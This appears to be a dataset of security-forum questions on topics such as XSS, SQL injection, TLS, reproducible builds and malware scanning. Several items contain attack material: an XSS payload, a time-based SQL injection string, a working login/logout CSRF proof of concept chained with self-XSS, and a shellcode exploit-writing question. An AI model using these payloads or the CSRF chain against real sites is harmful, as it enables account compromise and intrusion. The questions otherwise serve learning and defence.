instruction stringlengths 24 29.9k |
|---|
Payload:
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
Reference: http://seguretat.wiki.uoc.edu/index.php/XSS_Cheat_Sheet
Can someone please explain why this payload is not working?
|
'Reproducible builds' ensure that a published app matches the published open source code. This answer gives some great information on it.
But numerous sources1,2 indicate reproducible builds are very difficult (or even impossible) to implement in practice on major app stores.
Some reasons listed include:
app store processes and idiosyncrasies that alter source code
complexities in software versions and compilers
app thinning
any random generators in the build process
And:
Usually, different compilations of the same code will not result in the same binary, even when using the same version of libraries, compiler, target, etc.
Given the concept of a 'reproducible build' is quite new, (its wiki page is less than 5 years old), and that methods may improve in coming years, is it reasonable to expect reproducible builds for entire apps in practice (i.e. on major app stores), or do insurmountable factors limit reproducible builds to being theoretically possible (and possible for a small subset of apps), but practically difficult if not impossible for most apps?
1 https://news.ycombinator.com/item?id=23396499
2 https://web.archive.org/web/20200527063225if_/https://github.com/immuni-app/immuni-documentation/blob/master/Technology%20Description.md#reproducible-builds
|
I've looked around on this site and I've not seen a clear answer on this question.
From what I've read TLS does not provide data integrity unless specific ciphers are used which use HMAC'ing as part of the protocol. Is this correct, if so would it make sense to use specific ciphers where you need extra assurance on data integrity across systems?
What would be the benefit in using MAC/Digital Signatures in addition to TLS if TLS can provide data integrity?
|
I've found a very similar question: Should users be allowed to log in with the same password when a password change is requested but not changed?. But the key difference here is that requesting an email change can only be done when someone is logged in, whereas a password change (through the "forgot password" flow) can be done even when someone is logged out. It'd therefore be impossible to lock someone else out of their account if a login was not allowed while the new email hasn't been verified yet.
With that in mind, during the period between the email change request and the new email being verified, should log in with the old email be permitted (assuming that the email represents the username)?
|
I want certain web pages blocked (within my country) by my Govt on a website that uses HTTPS on all pages. My Govt agrees that the specific URLs need to be blocked but expresses helplessness as their ISPs claim they can't selectively block HTTPS URLs but must block the entire website/domain / sub-domain which will cause genuine users to be affected. The prominent website in question has refused to take down the impugned web pages despite notices from my government and law enforcement requests.
|
I have following SQL query in my WordPress plugin,
SELECT `ID`, `post_content`
FROM `wp_posts`
WHERE `post_type` = 'movie'
AND `post_status` = 'publish'
OR `post_status` = 'private'
AND `ID` NOT IN ($data)
ORDER BY `ID`
DESC LIMIT 10
$data is fully raw input not escaped. I can execute subqueries at $data position like so,
1,2) AND (SELECT sleep(5)) AND `post_title` NOT IN (1
Generated state:
SELECT `ID`, `post_content`
FROM `wp_posts`
WHERE `post_type` = 'movie'
AND `post_status` = 'publish'
OR `post_status` = 'private'
AND `ID` NOT IN (1,2) AND (SELECT sleep(5)) AND `post_title` NOT IN (1)
ORDER BY `ID`
DESC LIMIT 10
But I'm still wondering is that query exploitable with another SQL statements for malicious attacks like drop table or fetch another table data or something. If is it, how it could achieve and with what a payload? Thanks.
|
I am a member of a forum that recently disabled my account because their system picked up another account from my household. Anyways their terms of rectifying the situation are pretty invasive to my personal information so I'm wondering...
If I log on and create a new account while using my VPN is there still identifying pieces of data that could already be on my computer from previous logins that would give away my "new identity" as my "previous identity?"
Thanks!
|
This is a bit of an odd question, and if it doesn't belong on this forum feel free to retract. I was asked by a group of 7th graders to share my thoughts on the problem of credit card data breaches. Honestly I don't think I'm qualified to respond, but would like to encourage their thinking about the problem.
They are assuming technology that will be readily available in 20 years, ish. Here is the question in full:
We are writing to you because we have some questions on the topic Data Breaches. We know that Data Breaches can happen at anytime of the day or night, but we have some questions on what people can do to help stop data breaches. Having your data stolen can be a devastating event and can end up with a lot of your hard earned money stolen. Our solution to combat this is to update out current ways of credit card information. Instead of having a set in stone 16 digit number with an expiration date and a CCV, instead it’s just going to be one simple 8-12 string of letters and numbers that cycles either everyday or very frequently to prevent your information being compromised. This information will be stored in your credit card and online so you can make online transactions. This makes buying online and in real life a lot more easier and safer. Now, we don’t know how this cycling system can be implemented and can stay secure without any bugs or mishaps that could leave the system vulnerable. We would also have to completely change our systems and payment methods so that they could adapt to this new system of payment. We sincerely thank you for your time in assisting our idea for a future technology.
Thanks in advance; I appreciate the community's thoughts!
EDIT - thanks for your help!
Here's my response; hopefully I haven't introduced too many inaccuracies :)
Congratulations - you've asked the $100 billion dollar question! :)
Obviously credit card theft is a very serious problem. Fortunately, the consequences for consumers aren't necessarily as dire as you might think. Credit cards are convenience tools that allow people to borrow money, as such when a stolen card is used it's the lender that is on the hook, and cc companies generally do not charge customers for fraudulent transactions. Since they are liable for payments CC companies are on the lookout for fraud; they detect it by analyzing their customers' spending habits and looking for unusual activity (buying things they don't usually buy, spending money in foreign countries, etc) and they will either proactively reject the transaction or flag it and alert customers if they detect such activity. CC companies also respond to customers who report stolen cards and do not usually charge for transactions customers report as being illicit.
Debit cards are a different matter. They are linked directly to consumers' bank accounts and it may be harder to convince a bank to reimburse customers for charges made on a stolen debit card. Think twice about using or even owning them.
Whether you use a credit or debit card, it is a good idea to pay attention to your billing statements and reporting any charges you don't recognize so you can report it quickly. Some other general advice that can reduce exposure:
Use credit, not debit (e.g. your bank account), as you have less recourse for stolen money otherwise.
Be extremely careful with who you give your number to online.
If you were directed there from an email, make absolutely certain the site is who they claim to be (it could have been a phishing email).
Only provide it to reputable processors and make sure the connection is done over TLS (encrypted internet connections; browsers usually have a shield or a lock in the address bar).
Only use cards without a magnetic stripe to protect from "skimmers" which are placed around legitimate card readers and read information on the card from the stripe.
If the card only has a chip, then it's much more difficult to intercept sensitive data.
Don't give out your CC number to anyone on the phone if they called you. Call the company back at the number found on their official website (again, you're verifying who you're interacting with; caller Id's can be spoofed).
Make sure you shred sensitive paperwork (bills and statements) before throwing it away.
Keep your browser and operating system up to date to avoid malware.
One last option is to use virtual credit cards, and your solution actually bears a lot in common with them. Some credit card vendors will allow you to generate virtual card numbers. Being more ephemeral, they're less valuable to attackers and lower the risk of unauthorized charges. The major drawback of virtual credit cards is that the rotation scheme is not automatic; it's up to users to cycle their credit card numbers, and update them in all places they're being used. Automating the scheme might be done using something similar to a Two Factor Authenticator (2FA). 2FA is a system where synchronized time and paired pseudo-random seeds into an algorithm running on a computer, phone, or it's own little device (often referred to as a FOB) is compared to its twin at the security service. This technology is commonly used in many corporate VPN networks, and it is conceivable that this technology could be incorporated into credit cards. One problem with this approach is that the chips in credit cards are extremely low-power and do not have the ability to keep track of time, so they would need to trust the untrusted and potentially malicious chip reader that could lie to them about the current time to retrieve future numbers. Perhaps this problem will be solved as battery miniaturization progresses. A more challenging problem with this approach is that you generally only implement it on a one-to-one basis; you don't want the same authenticator sequence for multiple accounts - it would be like sharing passwords! So we would need to work through this challenge.
Thanks so much for your question. It's good to see you thinking about this problem. The landscape is constantly evolving and I'm encouraged to see young people taking an interest and proactively thinking of solutions!
Regarding point allocation I've upvoted all your answers as they were all extremely helpful. I accepted Forest's because I drew most of my response from it. Thanks again for the assistence!
|
With over 30,000 projects packaged by Debian, it doesn't seem too unlikely that some of them may contain malware. On Ubuntu's side, the review process is apparently rather superficial, aimed at catching some negligent coding practices rather than intentional malware (I'm appalled by how askubuntu took those kinds of "reviews" to mean that Ubuntu is free of malware)
Was there ever any malware actually found in Debian/Ubuntu packages?
|
There exists a class of bugs on Windows where an unprivileged attacker can write a DLL to a location on disk, then add that location to the PATH variable. Then, when an elevated user process is trying to load a DLL with the same name, it will eventually search the locations in the PATH variable to try to find it, giving a clear path to privilege escalation.
The desktop application search order is listed here:
https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#search-order-for-desktop-applications
What I'd like to do is remove the PATH variable from that search order.
There is this function in the Win32 API:
https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-setdefaultdlldirectories
But it is as yet unclear to me if this will work when you're running a .Net Core application that could conceivably load different DLLs depending on your hardware (display drivers for example).
Does anyone have experience removing PATH from the search order?
|
The most popular messaging apps to date (e.g. telegram), even those that are "privacy by design" (e.g. signal, threema), are centralized.
What technical challenges prevent peer-to-peer (e.g. jami) or decentralized (e.g. blockchain) messaging apps from servicing billions of users?
|
All of this happened on 18th November 2020
A person I know sent me a phishing link of Facebook then Google, I entered my credentials however as soon as I found out that its a phishing link, I turned off my mobile WiFi and switched it off and I changed my Google Password immediately from another device which was my iPad, I didn't change my Facebook password because it didn't have any information of myself at all, but somehow he got to know my Instagram tag which he claimed to have got to know through Facebook but I never linked it, It just had the same email as my Instagram, so the only way he could've got to know my Instagram is if he had my Gmail account.
I downloaded the Google Data of my account and checked the login history of my account
It didn't show any other IP addresses or other devices rather than mine, there were 4 forgot passwords made on my Instagram which I got through the mail but when I checked my Instagram logins there wasn't any other login either (other than my devices and IP addresses) and my Gmail didn't have less secure app access turned on
When I booted my Mobile Phone again, the one where I opened the phishing link, I downloaded Bitdefender security and scanned my device and it didn't find any malware. The browser I used was a Hidden Calculator Browser, the guy who phished claimed that he used Social Engineering Toolkit first when he phished for Facebook and it didn't work so he tried phishing Google using HiddenEye and it worked.
I did an Nmap scan on my PC and it found an open port number 4445 named upnotifyp but this was only internal because when I told my friend to scan there was no open port on my IP address and I downloaded Avast WiFi inspector on my PC scanned my WiFi and Router and it said no vulnerabilities detected.
I'm having severe anxiety for weeks because my Google Photos had sensitive pics that were supposed to be my eyes only but I don't know whether he logged in or not because there was no IP address or device other than mine in Google Login History but he got to know my Instagram tag when it wasn't linked to Facebook, but he claimed to get it through Facebook, my Facebook and Insta only shared the same email ID and there's no other way he could've got to know my Insta other than having access to my mail, but then again there were no other IP addresses and I can guarantee that this person wasn't using my WiFi, please help me out.
|
My question is more towards how this is implemented. I mean do they expose apis to each other or store data at a common place to be accessed by others. Please excuse me if it seems too naive.
|
If the OCSP signing is delegated explicitly to another entity and that delegated OCSP responder is compromised, how to revoke the certificate and convey the revocation information to a client? We need CRL for this?
|
Suppose I have multiple EC2 instances deployed with the same key-pair. The key-pair is used for SSH access and general troubleshooting. If one instance is compromised, do I need to be concerned about the key-pair allowing access to the other instances?
What kind of cryptographic primitive is used for EC2 key-pairs?
|
I have a decently powerful desktop running Windows that I use for 2 different use cases: playing games and storing/processing my personal data. As a security-aware person this makes me uncomfortable. A vulnerability on Steam, as I think has happened in the past, or any of the games themselves, can put my personal data at risk. I'm not a security expert by any means, but I have come up with a few options, and I'm not sure which one to go with. I'm not sure which one provides adequate security, so please let me know your thoughts. Here is a list of approaches, somewhat in order, from lowest effort/lowest cost:
Running the games in Sandboxie - is this secure? Would they even run properly?
Separate Windows user accounts, making sure the account for playing games is not an administrator account. If this is good enough, what else do I have to do?
Combination of #1 and #2
Dual boot, so I'll install Windows on a separate physical drive - each Windows instance will be separately BitLocker-encrypted with different passwords (I don't have a TPM chip on this PC), and somehow not allowing each instance access to the other's drive - how, exactly? I have no idea how to achieve that, other than physically unplugging them in turn. This is the method asked in this question > Isolate two hard drives with two operating systems. If total isolation is not possible, will BitLocker prevent data access and meaningful modification? Can malware on the game drive somehow infect the other drive even when encrypted? I am more concerned about data theft, so if malware infecting the game drive wipes out the other drive but can't access any of the data and can't infect the other Windows instance, it's a pain but still better than data theft, as I have data backups available, but if that's the case I need the data corruption to be immediately detected/noticeable.
Running the games in a VM - I have never tried this, I know this is possible and I have both an integrated and dedicated GPU, but I'm not sure my technical skills are up to the task of PCIe passthrough of the GPU, etc. I have only ever run "basic" VMs.
Building a separate machine entirely - I know this is the most secure way but it's one I really would like to avoid.
|
I have enciphered a vector of bytes that has 17 bytes in itself. However, When I try to enciphered with AES, AES output has a 32-byte size? What is happening here?
|
A number of TLS vulnerabilities are listed by Wikipedia, including attacks with brand names such as FREAK, DROWN, CRIME, BREACH, and POODLE. My lay reading of their description makes me think these vulnerabilities are reliant on an attacker being able to either 1) influence a victim's browser's behaviour, or 2) occupy a man-in-the-middle position on the network and actively manipulate traffic.
Are there any TLS vulnerabilities which can be exploited using only passive observation of traffic, and which are practical enough to be a concern for ordinary systems administrators?
Some definitions:
By "practical" I mean not reliant on a theoretical mathematical breakthrough, or on excessive compute resources or time (say, no more than $100,000 worth of commodity x86 server could do if working on its hypothetical decryption algorithm for a year).
By "ordinary systems administrators" I mean someone working at a Fortune 500 corporation wanting to protect innocuous customer data, not a nation state agency protecting ultra-secret launch codes.
|
Are there any known exploits in Signal's encryption protocol that could lead to messages being decrypted, or any other compromising information being released?
|
I've had this idea bouncing around in my head for a while, and I'm honestly surprised that it doesn't seem to be on the market. Which probably means that it wouldn't work well for some reason that hasn't occurred to me yet.
I think it should be possible to buy hardware security tokens (Yubikey etc.) in pairs, with each pair intentionally manufactured to share a secret. That way you could seamlessly switch back and forth between them. This would make the "main key/backup key" pattern much more usable, because you wouldn't have to manually enroll both keys in every account where you want to use 2FA.
Currently this requirement makes it impractical to truly treat your backup key as a backup. It works well enough if you lose/break your primary key, but isn't helpful if your house gets burned down/flooded/whatever, because it's simply impractical to store both keys anywhere other than your home. Moreover, having to enroll two security keys for every account is pretty inconvenient, and as we all know, "security at the expense of usability often comes at the expense of security."
One downside is that this would effectively double the cost of the token, because as soon as one of your paired keys is broken/lost you have to ditch the other one and get a new pair. However, nothing says this has to be the only way in which security keys are sold, and I for one would be happy to pay the extra $40 or whatever a Yubikey costs for the extra convenience/peace of mind. Not to mention, the manufacturer could increase their per-customer sales, which seems like it would be good for them.
However, it doesn't seem possible to buy pre-paired keys like this. Why not?
|
I'm working with certificates programmatically through .NET. I usually give the certificate a DN by giving it string like this: "c=eg,s=cairo,st=Nozha,cn=Foo Ltd.,..”
But there is another way to give a DN by initializing an object of type X500DistinguishedName.
I knew from IETF that X500 standard relates to the LDAP, I’ve read a lot of articles (not the whole IETF RFC) about LDAP to understand it and its relationship with certificates.
But the LDAP is a big topic that relates to servers, databases, read/query...what does all that have to do with certificates?, what I see is that the DN for certificates is like the name of the child..
The only thing that may be common is the hierarchical representation of RDNs.
Is there something behind this I don’t understand?
|
I have been working on a front end (React) app that sends REST requests to an API end point. I am aware that sensitive items such as API keys should not be stored in front end frameworks (like React, for example),
BUT...
Right now, I am just running the app from my development machine and the API keys are in one of my components so if I was to publish the app, the API keys would be easily stolen.
I was wondering what are some drawbacks and security considerations by running an app like I described only from localhost?
|
What was the mechanism for exfiltrating FireEye's redhat tools in the recent SolarWinds hack? I understand it was via HTTP (small packets to many servers)? Are there any further details?
Is this a likely ongoing systemic threat or can it be mitigated? If malware is active for long enough, can it split confidential data into small packets and post via small http requests to many IPs, 'slipping by' DLP?
I am assuming FireEye's DLP was about as good as you could reasonably expect.
|
I want to write an exploit for a test application that provides only 12 bytes of space at the ESP. I'm not able to place shellcode in such a small space. I have no clue what I can do to solve this.
I have done the following steps.
Fuzzing
Find offset
check for Bad chars
find module JMP address
control EIP
use msfvenom for writing shellcode
I have tried to add 16 "B" but only 12 got written into the ESP space
|
Threat model:
Malicious user gaining physical access to browser cookies (e.g., 3rd party repair guy copying cookies to his own device or something like that). Let's say legit user did not clear cookies beforehand.
Possible mitigation:
Pre-authorize user device:
Get user's browser signature via JS and save it in a db for later use (dbCopy). This is done by an "admin" account physically present in the device before a "regular" user can use it.
Now in every HTTP request of the user, the web app will:
Get browser sig via JS (currentRequestSig)
Set cookie hash = hash('sha256', currentRequestSig + randomToken) in user's browser
Store copy of the hash and currentRequestSig in the app's db
Get the cookie hash
Make sure the associated currentRequestSig of the cookie hash is the same as dbCopy
Make sure hash is not yet used before
Mark hash as used in db
Delete hash cookie
✓ Browser is verified at this point, user can proceed with using the app
Threats mitigated
If malicious user copies the cookie hash to his device, it will not work because of browser sig mismatch. This assumes browser sig is hard to replicate.
If malicious user disables JS, effectively disabling steps 1-3 (an HTTP requests therefore begins in step 4 with a copied cookie), the cookie he copied will still not work because it's already used before (step 6 will invalidate it).
My question is, is this a viable solution to mitigate physical cookie theft, or is it overkill and I am missing something?
|
I am doing some background research into types of XSS and prevention and as I understand it there is not much any application can do against a universal XSS in a plugin or browser.
A last line of defense for XSS vulnerabilities is a good content security policy header set. It won't get rid of the underlying vulnerability but prevents an attacker from effectively exploiting it. For example, the following policy only loads scripts from the same origin as the webpage:
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; frame-src 'none'; base-uri 'none';
As this is browser-based protection for a web application, I would think it would not mitigate any risk from a universal XSS as it affects the browser and so could bypass the protections. This leaves the only real mitigation for universal XSS as ensuring your browser and plugins are up to date.
Am I correct in my thinking? Appreciate any input.
|
I was reading this and this article.
The first article itself is about why software updates are extremely important for security, and the second one also mentions the following:
"Make sure your operating system, browsers, and plugins are always up
to date, because keeping your software patched can keep online
criminals at bay."
I have lots and lots of software that I never update like Adobe Acrobat PDF reader, Amazon kindle and whatnot. I never imagined that the consequences could be so threatening described in the first article I linked.
So a few days back I uninstalled all the old software that I didn't use/want.
Is it possible that malware can enter my PC through this outdated software? What happens when I uninstall the software? Does the malware go away with the uninstallation? We can take spyware as an example. If spyware came into my PC through such outdated software, will it have been removed if I uninstalled the software?
I ran my antivirus scan after I uninstalled the outdated software, and it showed my system is clean. I downloaded some other free anti-malware programs as well like Malwarebytes, HitmanPro, Avast... None of them detected any malware in my system except some PUPs. Is this reasonable to assume that my current antivirus is working perfectly as no malware was found that was able to dodge my current antivirus that couldn't dodge other anti-malware?
|
I am not able to understand what use is the manual antimalware scan? All antivirus software has a manual anti-malware scan. I understand if it's the first time someone installs it on their infected/unknown PC, the scan helps in detecting malware. But I can't understand in what situations are such scans useful when the antivirus software automatically protects machines in real-time?
Example: I purchase antivirus software and scan my PC for the first time with it, and no malware is found. The antivirus downloads updates automatically. In what scenario will I feel the need to manually "scan my PC for malware"? Can you give an example? If I ever needed to scan for malware, then why didn't the antivirus stop it in the first place? And if it couldn't identify and stop it in the first place, how can it be expected to identify the malware in the scan?
|
SCENARIO:
web application which I think is affected by:
a self-xss in the profile section of a user.
logout CSRF
login CSRF
Below I described the test I did to check for the last 2 vulnerabilities, I'd appreciate an opinion about their correctness.
TEST:
Logout CSRF:
in one tab I'm an authenticated user
on another tab where in the same browser where the user is authenticated I browse to this page.
<html>
<body>
<!-- logout the victim -->
<a href="https://vuln/logout.aspx" target="_self">click</a>
</body>
</html>
If I go back to the first tab my session is ended --> here I'm quite sure this test is enough to proof logout csrf.
login CSRF:
The web server is IIS and then it uses __VIEWSTATE and __EVENTVALIDATION. The test is the following:
I create and host a page like this. NOTE: I substituted the real value with XXX but in my test I used current value retrieved from the application
<!-- login the victim into the attacker profile -->
<form name=myform action="https://vuln/Login.aspx" method="POST">
<input type="hidden" name="user" value="hacker" />
<input type="hidden" name="passw" value="hacker" />
<input type="hidden" name="LoginBtn" value="..." />
<input type="hidden" name="__VIEWSTATEGENERATOR" id="__VIEWSTATEGENERATOR" value="XXX" />
<input type="hidden" name="__EVENTVALIDATION" id="__EVENTVALIDATION" value="/XXX"/>
<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/XXX/" />
</form>
I simulate a user that browses to that page.
The user is logged as the attacker.
Does this mean that login CSRF is happening? Should __VIEWSTATE and __EVENTVALIDATION prevent this?
EDIT (01-20-2021)
Reading the comments I decided to edit this post to add some notes to understand the final attack I wanted to deliver. I already know that taken alone: self-xss, logout csrf, login csrf are not considered to be vulnerabilities most of the times, although owasp suggests how to mitigate login csrf for example.
Anyway my goal was to escalate from self-xss to xss as illustrated elsewhere: brutelogic or by Ch3ckM4te which reflects mine scenario but exploiting Oauth.
The steps were the following:
1- Send a link to the victim and wait for him to open it
2- Logout the victim (if he was authenticated)
3- Login the victim with the attacker's account credentials
4- Redirect the victim (now authenticated with the attacker's account) to the page where self-xss is stored.
5- Now the arbitrary javascript chosen by the attacker is executed in the victim's browser
Somebody pointed out in the comment that because I can't steal the session token or perform some action in the name of the victim then this chain of vulnerabilites is not dangerous.
The fact that I can execute arbitrary javascript in the context of the victim's browser in my opinion should be enough to consider this a proper attack. Just to do an example you could run:
BeeF hook.js and then have a lot of options.
What is BeEF? BeEF which stands for Browser Exploitation Framework is
a tool that can hook one or more browsers and can use them as a
beachhead of launching various direct commands and further attacks
against the system from within the browser context
To have an idea, when you hook a browser this is the Beef's commands panel
POC
<html>
<body>
<!-- logout the victim from he web application -->
<a href="https://vuln.com/logout.aspx" target="_self" onclick=xss_login()>click</a>
<!-- login the victim into the attacker profile -->
<form name=myform action="https://vuln.com/Login.aspx" method="POST">
<input type="hidden" name="user" value="hacker" />
<input type="hidden" name="passw" value="hacker" />
<input type="hidden" name="LoginBtn" value="Loadin" />
<input type="hidden" name="__VIEWSTATEGENERATOR" id="__VIEWSTATEGENERATOR" value="XXX" />
<input type="hidden" name="__EVENTVALIDATION" id="__EVENTVALIDATION" value="XXX"/>
<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="XXX" />
</form>
<script>
//redirect the victim to the page where Self-XSS is stored and execute the payload in the user's browser context
function xss_redirect()
{
setTimeout(function(){
location.href="https://vuln.com/atk/item=xss";
} , 400);
}
function xss_login()
{
setTimeout(function(){
document.myform.submit();
xss_redirect();
}, 200);
}
</script>
</body>
</html>
EXAMPLE OF 300$ BOUNTY
https://hackerone.com/reports/632017
|
I'm using a 3rd party service developed by the Experian Credit Bureau. Looking at their documentation, they are using OAuth2 & are expecting Grant_type: password in order for external developers to obtain an access_token. So, the developer must pass their username/password/client id & client secret (the last 2 of which you create and retrieve via the developer portal)
To get the access_token you would call the following endpoint;
curl -X POST https://sandbox-us-api.experian.com/oauth2/v1/token \
-H 'Accept: application/json' \
-H 'Content-type: application/json' \
-H 'Grant_type: password' \
-d '{"username": "<USERNAME>","password": "<PASSWORD>","client_id": "<CLIENT_ID>","client_secret": "<CLIENT_SECRET>"}'
Everything works fine and I've no problem obtaining the access token however I don't understand how this is any more secure than simply passing a username/password (which oauth2 was designed to avoid); These services are normally machine-to-machine invoked so you will need to have the credentials stored on the system calling their services so if a bad actor was to steal these then they can obtain the client_id & client_secret by simply logging into the developer portal.
They are using Okta who says that password grants should only ever be used for trusted internal apps but this isn't the use-case for these services - we are not internal nor trusted.
Alternatively, I could architect so that the calling machine only works with the access_token and refresh_token however that means you need to re-authenticate when the refresh_token expires (24 hours) which in my case the service is only invoked once per week - this means I would have to reset the access_token manually each week.
What am I missing that makes this approach more secure than a simple username/password exchange?
|
PostgreSQL supports multiple authentication methods, and I think it supports SSL and plaintext connections. How do I find out which authentication method a server uses? I do not have access to the server configuration. Can psql tell we which algorithm it uses to transmit the password, and whether the connection is encrypted? Is there a PostgreSQL security scanner for this purpose?
|
Context
The company I work in is starting to have a more dynamic website, which can process sensitive user information. With so, we want to improve our security. We are a healthcare company from Brazil, and recently a lot of data has been exposed through national hackers specifically against healthcare companies. We do not have the resources to hire an information security expert yet, but we want to begin our firsts "baby steps".
I'm not an information security expert but I would like to start entering this security area a little bit more.
Question
I'm using CloudFlare on our website because of its CDN, but I also see that it has firewall capabilities. I understand why Firewall is important.
I want to know which filters is more commonly used or which filters are more important.
This question comes with a learning process as well, so if you may improve your answer with:
Should I care about this or something else first?
If a hacker wants to access our information, will this difficult the process for him?
Which filters should I consider the most?
For example, I assume that filtering countries is not so efficient because if someone really wants to access my data they can use a VPN or similar. Is this thinking correct?
Below a GIF with all CloudFlare's options available:
|
My company are using an offline embedded device, that must encrypt connections to its client (a PC connected with USB).
We have chosen to use TLS with both PC and device authentification to encrypt messages, and use certificates to secure the system.
So the device needs to send CSR and receives its certificates to authenticate and secure connection.
Also, It needs to store the root certificate of my company.
These certificates will not be downloaded directly from the internet, the client PC will act as a proxy and relay them to the device.
My question is how I can validate that the intermediate CA is authentic (that was created only by my company).
My guess was to use the Organisation or Common Name of the CA that can be identified with the company name.
And use the CA certificates chain to validate that the CA is not self-signed.
But could it be possible to create a CA cert with valid chain certs and with the same name as my company in Organisation or CN field?
For example, an intermediate CA cert that has the same common name but different parent authorities (Verisign, Let's Encrypt...)
Are there other ways to authenticate intermediate CA?
Thank you for reading this message, and for your answers.
|
After executing sudo maldet -a /
LMD provides the following report:
HOST: foo.bar.baz
SCAN ID: 210117-2223.1145531
STARTED: Jan 17 2021 22:23:26 +0000
COMPLETED: Jan 18 2021 22:01:12 +0000
ELAPSED: 85066s [find: 42s]
PATH: /
TOTAL FILES: 579780
TOTAL HITS: 2
TOTAL CLEANED: 0
WARNING: Automatic quarantine is currently disabled, detected threats are still accessible to users!
To enable, set quarantine_hits=1 and/or to quarantine hits from this scan run:
/usr/local/sbin/maldet -q 210117-2223.1145531
FILE HIT LIST:
{HEX}php.cmdshell.antichat.201 : /home/foo/maldetect-1.6.4/files/sigs/rfxn.yara
{HEX}php.gzbase64.inject.452 : /home/foo/maldetect-1.6.4/files/clean/gzbase64.inject.unclassed
===============================================
Linux Malware Detect v1.6.4 < proj@rfxn.com >
I struggle to interpret the results of the two hits. Is it in the home directory and what does HEX mean?
|
You have just noticed that an unknown executable file has been downloaded to your machine.
Is there a way to tell what the file does before opening it?
|
I'm getting a NET::ERR_CERT_AUTHORITY_INVALID for the following google sponsored website: https://viz.mediapipe.dev/
NET::ERR_CERT_AUTHORITY_INVALID
Subject: mediapipe.dev
Issuer: GTS CA 1O1
Expires on: 8 Mar 2021
I get this in Chrome only. In both Chromium and Firefox (on Ubuntu OS) the certificate is deemed valid and the page loads without any security related warnings. How would you go about figuring whether there's a real issue or security situation v.s. just a bug in Chrome?
|
I've heard of too many horror stories of people opening a seemingly innocent docx or pptx file that they've got from a business partner, only to find out that it had embedded malware inside. What should a security conscious person do if they receive a doc or a ppt file that they wish to see the contents of, but cannot guarantee the reliability of its source? Is there any recommended practice to handle this, besides 'don't do it'?
|
I work for a company in which the age of our average user is over 70. We have an app* that helps them collect and submit physiological data to their doctors.
I found this question that I believe is helpful if you're helping your mother set a password: Secure Memorable Passwords for Older Users
However, we're struggling to develop a policy for our 5000+ users, particularly given these additional wrinkles:
The users' accounts are set up at the doctor's office by a
non-technical medical professional that probably thinks "Dog123" is a
good password. We can educate them about password complexity, but
getting them to similarly educate users on-site is a different
ballgame.
Many of our users don't have an email address, making it infeasible to send a password reset email
Password managers are also infeasible, because we can't expect our medical staff to be setting up LastPass for the users (especially with no email address)
This is medical data, with all the regulation that comes with it.
Any suggestions for a password policy that secures our sensitive data without frustrating and driving away our entire user base?
*EDIT: Mobile app. There is a web app in the ecosystem in which medical staff reviews collected data, but it currently has no functionality for the patients.
ALSO EDIT: A lot of debate here between "you can assume they have smart phones" and "no you can't." It's a bit moot in our case because we provide $20 Androids to patients without one.
|
I'm working on an small web application (Flask). The application is only for distributed internal usage, e.g. only users with credentials created by the organization will have access to the services beyond the Login page and the organization creates the users. It needs to be distributed because some of the user base is traveling. The data hosted on the application is day to day operation stuff, inventories, invoices, clients contacts & similar. It is organization-sensitive in the sense that you wouldn't want competitors or third parties sniffing it out. No financial transaction, or bank accounts data are stored there.
From a security perspective, my thinking is that proper user management system with a solid implementation is a sufficient level of security for this, or more specifically:
CSRF protection for anything getting user inputs (which Flask provides if using Flask Forms, or pluggins exists otherwise)
XSS protection (Jinja templating goes a long way to protect from that). At any rate, all user inputs are sanitized and no html (or css) is served based on raw user inputs.
And basically everything outlined in Flask's Security Considerations is followed & properly implemented, as relevant in the use case.
An ORM is used, so that anything that goes in the DB is properly parametrized to prevent SQL injections.
At any rate, only trusted users can connect to this beyond the login page (therefore the above protection would get into play only if, say, a malicious user managed to gain control of a user account, and use it to try to inject code)
The application is containerized on Docker. No container runs with root, meaning that any attacker who would infiltrate a container would not be able to break out of that container, and all Docker recommendations are followed. In addition, the only container that is actually open to the web (e.g. the only port opened on the host) is the nginx one.
App runs on https
Nginx for reverse proxy, to provide a layer of abstraction between the server itself and any user, as well to add protection against DDOS (though unlikely in our use case), serve static files etc.
As users are also a weakling in any security system, it will be recommended to connect to the application only thru trusted wifi or data from their own simcard/ISP. Humans being humans, this may or not be followed in all cases.
There will be different user profiles, each having access only to the parts of the data that are actually relevant for their job.
Seems to me this results in a robust enough application from a safety standpoint. Do I have obvious blind spots here? In which case would a security specialist start to consider "no, that's not enough, we really need to add a VPN connection on top of this"?
|
I noticed that certain software does not provide hash anymore nowadays.
E.g.
Zoom
https://zoom.us/download
wolf@linux:~$ ls -lh zoom_amd64.deb
-rw-rw-r-- 1 wolf wolf 44M Jan 1 00:00 zoom_amd64.deb
wolf@linux:~$
I've googled both md5 and sha256 hashes but couldn't find it.
wolf@linux:~$ md5sum zoom_amd64.deb
5f452b11d86d41e108a32f6a7d86c6dc zoom_amd64.deb
wolf@linux:~$
wolf@linux:~$ sha256sum zoom_amd64.deb
b06bc30a53ac5d3feb624e536c86394ccb9ac5fc8da9bd239ef48724138e9fc1 zoom_amd64.deb
wolf@linux:~$
Vivaldi Browser
https://vivaldi.com/download/
wolf@linux:~$ ls -lh vivaldi-stable_3.5.2115.81-1_amd64.deb
-rw-rw-r-- 1 wolf wolf 74M Jan 2 11:08 vivaldi-stable_3.5.2115.81-1_amd64.deb
wolf@linux:~$
wolf@linux:~$ md5sum vivaldi-stable_3.5.2115.81-1_amd64.deb
f6dce2ca099e9e910ca6dc1c361aa5b5 vivaldi-stable_3.5.2115.81-1_amd64.deb
wolf@linux:~$
wolf@linux:~$ sha256sum vivaldi-stable_3.5.2115.81-1_amd64.deb
38a18fe2624994cbc9782d7805ec058774e54e99e0ade6ad5e85da45055c9e5c vivaldi-stable_3.5.2115.81-1_amd64.deb
wolf@linux:~$
Microsoft Teams
https://www.microsoft.com/en-my/microsoft-teams/download-app#desktopAppDownloadregion
wolf@linux:~$ ls -lh teams_1.3.00.30857_amd64.deb
-rw-rw-r-- 1 wolf wolf 73M Jan 20 09:07 teams_1.3.00.30857_amd64.deb
wolf@linux:~$
wolf@linux:~$ md5sum teams_1.3.00.30857_amd64.deb
3d738e013804b96f401bd274db4069d1 teams_1.3.00.30857_amd64.deb
wolf@linux:~$
wolf@linux:~$ sha256sum teams_1.3.00.30857_amd64.deb
